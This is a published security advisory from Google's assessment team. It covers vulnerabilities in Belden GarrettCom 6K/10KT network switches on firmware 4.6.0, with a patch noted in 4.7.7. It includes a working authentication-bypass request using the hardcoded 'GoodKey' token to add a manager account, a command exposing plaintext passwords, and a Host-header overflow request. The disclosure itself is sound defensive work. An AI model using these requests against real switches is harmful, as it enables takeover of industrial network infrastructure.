Introduction
------------

Vulnerabilities were identified in the Belden GarrettCom 6K and 10KT
(Magnum) series network switches. These were discovered during a black box 
assessment and therefore the vulnerability list should not be considered 
exhaustive; observations suggest that it is likely that further vulnerabilities 
exist. It is strongly recommended that GarrettCom undertake a full whitebox
security assessment of these switches.

The version under test was indicated as: 4.6.0.  Belden Garrettcom released
an advisory on 8 May 2017, indicating that issues were fixed in 4.7.7:
http://www.belden.com/docs/upload/Belden-GarrettCom-MNS-6K-10K-Security-Bulletin-BSECV-2017-8.pdf

GarrettCom-01 - Authentication Bypass: Hardcoded Web Interface Session Token
----------------------------------------------------------------------------

Severity: **High**

The string "GoodKey" can be used in place of a session token for the web
interface, allowing a complete bypass to all web interface authentication.
The following request/response demonstrates adding a user ‘gibson’ with the
password ‘god’ on any GarrettCom 6K or 10K switch.

    GET /gc/service.php?a=addUser&uid=gibson&pass=god&type=manager&key=GoodKey
HTTP/1.1
    Host: 192.168.0.2
    Connection: close
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/56.0.2924.28 Safari/537.36
    Accept: */*
    Referer: https://192.168.0.2/gc/flash.php
    Accept-Encoding: gzip, deflate, sdch, br
    Accept-Language: en-US,en;q=0.8


    HTTP/1.0 200 OK
    Server: GoAhead-Webs
    Content-Type: text/html

    <?xml version='1.0' encoding='UTF-8'?><data val="users"><changed
val="yes" />
    <helpfile val="user_accounts.html" />
    <user uid="operator" access="Operator" />
    <user uid="manager" access="Manager" />
    <user uid="gibson" access="Manager" />
    </data>

GarrettCom-02 - Secrets Accessible to All Users
-----------------------------------------------

Severity: **High**

Unprivileged but authenticated users ("operator" level access) can view the
plaintext passwords of all users configured on the system, allowing them to
escalate privileges to "manager" level.  While the default "show config"
masks the passwords, executing "show config saved" includes the plaintext
passwords. The value of the "secrets" setting does not affect this.

    6K>show config group=user saved
    ...
    #User Management#
    user
    add user=gibson level=2 pass=god
    Exit
    ...

GarrettCom-03 - Stack Based Buffer Overflow in HTTP Server
----------------------------------------------------------

Severity: **High**

When rendering the /gc/flash.php page, the server performs URI encoding of
the Host header into a fixed-length buffer on the stack.  This decoding appears
unbounded and can lead to memory corruption, possibly including remote code
execution.  Sending garbage data appears to hang the webserver thread after
responding to the present request.  Requests with Host headers longer than
220 characters trigger the observed behavior.

    GET /gc/flash.php HTTP/1.1
    Host: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Connection: close
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/56.0.2924.28 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
image/webp,*/*;q=0.8
    Accept-Encoding: gzip, deflate, sdch, br
    Accept-Language: en-US,en;q=0.8

GarrettCom-04 - SSL Keys Shared Across Devices
----------------------------------------------

Severity: **Moderate**

The SSL certificate on all devices running firmware version 4.6.0 is the
same.  This issue was previously reported and an advisory released by
ICS-CERT.  While GarrettCom reported the issue was fixed in 4.5.6, the web
server certificate remains static in 4.6.0:

    openssl s_client -connect 192.168.0.5:443 -showcerts
    CONNECTED(00000003)
    depth=0 C = US, ST = California, L = Fremont, O = Belden, OU =
Technical Support, CN = 192.168.1.2, emailAddress = gcisupport@belden.com
    verify error:num=18:self signed certificate
    verify return:1
    depth=0 C = US, ST = California, L = Fremont, O = Belden, OU =
Technical Support, CN = 192.168.1.2, emailAddress = gcisupport@belden.com
    verify return:1
    ---
    Certificate chain
    0 s:/C=US/ST=California/L=Fremont/O=Belden/OU=Technical Support/CN=
192.168.1.2/emailAddress=gcisupport@belden.com
    i:/C=US/ST=California/L=Fremont/O=Belden/OU=Technical Support/CN=
192.168.1.2/emailAddress=gcisupport@belden.com
    -----BEGIN CERTIFICATE-----
    MIIEtTCCA52gAwIBAgIBADANBgkqhkiG9w0BAQUFADCBnTELMAkGA1UEBhMCVVMx
    EzARBgNVBAgTCkNhbGlmb3JuaWExEDAOBgNVBAcTB0ZyZW1vbnQxDzANBgNVBAoT
    BkJlbGRlbjEaMBgGA1UECxMRVGVjaG5pY2FsIFN1cHBvcnQxFDASBgNVBAMTCzE5
    Mi4xNjguMS4yMSQwIgYJKoZIhvcNAQkBFhVnY2lzdXBwb3J0QGJlbGRlbi5jb20w
    HhcNMTUxMDI3MTEyNzQ2WhcNMjUxMDI0MTEyNzQ2WjCBnTELMAkGA1UEBhMCVVMx
    EzARBgNVBAgTCkNhbGlmb3JuaWExEDAOBgNVBAcTB0ZyZW1vbnQxDzANBgNVBAoT
    BkJlbGRlbjEaMBgGA1UECxMRVGVjaG5pY2FsIFN1cHBvcnQxFDASBgNVBAMTCzE5
    Mi4xNjguMS4yMSQwIgYJKoZIhvcNAQkBFhVnY2lzdXBwb3J0QGJlbGRlbi5jb20w
    ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDFlt+j4OvpcgfdrFGnBxti
    ds6r9sNEcR9JdAFbOmwybQkdqIw9Z9+teU/rixPocEE4gL8beNuw/D3lDc4RJ63m
    1zuQ1riFOkTsz7koKQNWTh3CkIBE7843p5I/GVvhfR7xNCCmCWPdq+6/b3nhott5
    oBeMLOjIWnjFgyVMsWR22JOYv+euWwr4oqZDLfBHjfipnu36J1E2kHLG3TL9uwyN
    DUxtrIbvfi5tOxi8tx1bxZFQU1jxoQa725gO+1TOYzfSoY1a7/M0rMhJM1wFXak6
    jbDbJLSv2TXMWrSJlGFUbCcKv3kE22zLcU/wx1Xl4a4NNvFW7Sf5OG2B+bFLr4fD
    AgMBAAGjgf0wgfowHQYDVR0OBBYEFLtGmDWgd773vSkKikDFSz8VOZ7DMIHKBgNV
    HSMEgcIwgb+AFLtGmDWgd773vSkKikDFSz8VOZ7DoYGjpIGgMIGdMQswCQYDVQQG
    EwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEQMA4GA1UEBxMHRnJlbW9udDEPMA0G
    A1UEChMGQmVsZGVuMRowGAYDVQQLExFUZWNobmljYWwgU3VwcG9ydDEUMBIGA1UE
    AxMLMTkyLjE2OC4xLjIxJDAiBgkqhkiG9w0BCQEWFWdjaXN1cHBvcnRAYmVsZGVu
    LmNvbYIBADAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQBAiuv06CMD
    ij+9bEZAfmHftptG4UqsNgYIFZ1sN7HC6RBR9xy45fWVcQN3l3KiyddLsftbZSOa
    CRPpzqgpF58hGwAa7+yQPOjOWf+uLc9Oyex6P9ewAo6c5iiYI865FSQ+QCY4xbD1
    Uk/WFV2LKOzxkXPRcVB4KR81g8tSZF3E8llybhEngg7cvN3uHpO5a5U085xuBbcF
    To9PSbGKyJ7UGESBTD6KxLWAxoD6VGRV2CAZa/F9RTbdG1ZbTUMvoEDmYqv7Pjv/
    ApZzztLJlCyhVM4N/jh/Q/g1VaQWuzPpza6utjN5soUxeZYJB6KwzGUiLnyTNBJz
    L4JtsUO8AcWb
    -----END CERTIFICATE-----

Note that Belden Garrettcom has addressed this issue by reinforcing that
users of the switches should install their own SSL certificates if they
do not want to use the default certificate and key.

GarrettCom-05 - Weak SSL Ciphers Enabled
----------------------------------------

Severity: **Moderate**

Many of the SSL ciphers available for the switch are outdated or use
insecure ciphers or hashes.  Additionally, no key exchanges with perfect forward
secrecy are offered, rendering all previous communications possibly compromised,
given the issue reported above.  Particularly of note is the use of 56-bit DES,
RC4, and MD5-based MACs.

    ssl3: AES256-SHA
    ssl3: CAMELLIA256-SHA
    ssl3: DES-CBC3-SHA
    ssl3: AES128-SHA
    ssl3: SEED-SHA
    ssl3: CAMELLIA128-SHA
    ssl3: RC4-SHA
    ssl3: RC4-MD5
    ssl3: DES-CBC-SHA
    tls1: AES256-SHA
    tls1: CAMELLIA256-SHA
    tls1: DES-CBC3-SHA
    tls1: AES128-SHA
    tls1: SEED-SHA
    tls1: CAMELLIA128-SHA
    tls1: RC4-SHA
    tls1: RC4-MD5
    tls1: DES-CBC-SHA
    tls1_1: AES256-SHA
    tls1_1: CAMELLIA256-SHA
    tls1_1: DES-CBC3-SHA
    tls1_1: AES128-SHA
    tls1_1: SEED-SHA
    tls1_1: CAMELLIA128-SHA
    tls1_1: RC4-SHA
    tls1_1: RC4-MD5
    tls1_1: DES-CBC-SHA
    tls1_2: AES256-GCM-SHA384
    tls1_2: AES256-SHA256
    tls1_2: AES256-SHA
    tls1_2: CAMELLIA256-SHA
    tls1_2: DES-CBC3-SHA
    tls1_2: AES128-GCM-SHA256
    tls1_2: AES128-SHA256
    tls1_2: AES128-SHA
    tls1_2: SEED-SHA
    tls1_2: CAMELLIA128-SHA
    tls1_2: RC4-SHA
    tls1_2: RC4-MD5
    tls1_2: DES-CBC-SHA

GarrettCom-06 - Weak HTTP session key generation
------------------------------------------------

Severity: **Moderate**

The HTTP session key generation is predictable due to the lack of
randomness in the generation process. The key is generated by hashing the 
previous hash result with the current time unit with precision around 50 unit 
per second. The previous hash is replaced with a fixed salt for the first hash 
generation.

The vulnerability allows an attacker to predict the first key that’s
generated by the switch if he has some knowledge about when the key was generated.
Alternatively, the vulnerability also enables privilege escalation attacks
which predict all future keys by observing two consecutive key generations of
lower privileges.

Timeline
--------

2017/01/?? - Issues Discovered
2017/01/27 - Reported to BEL-SM-PSIRT@belden.com
2017/04/27 - 90 day timeline expires, Belden reports patched release forthcoming.
2017/05/08 - Belden releases update & advisory.
2017/05/15 - Disclosure published

Discovery
---------

These issues were discovered by Andrew Griffiths, David Tomaschik, and
Xiaoran Wang of the Google Security Assessments Team.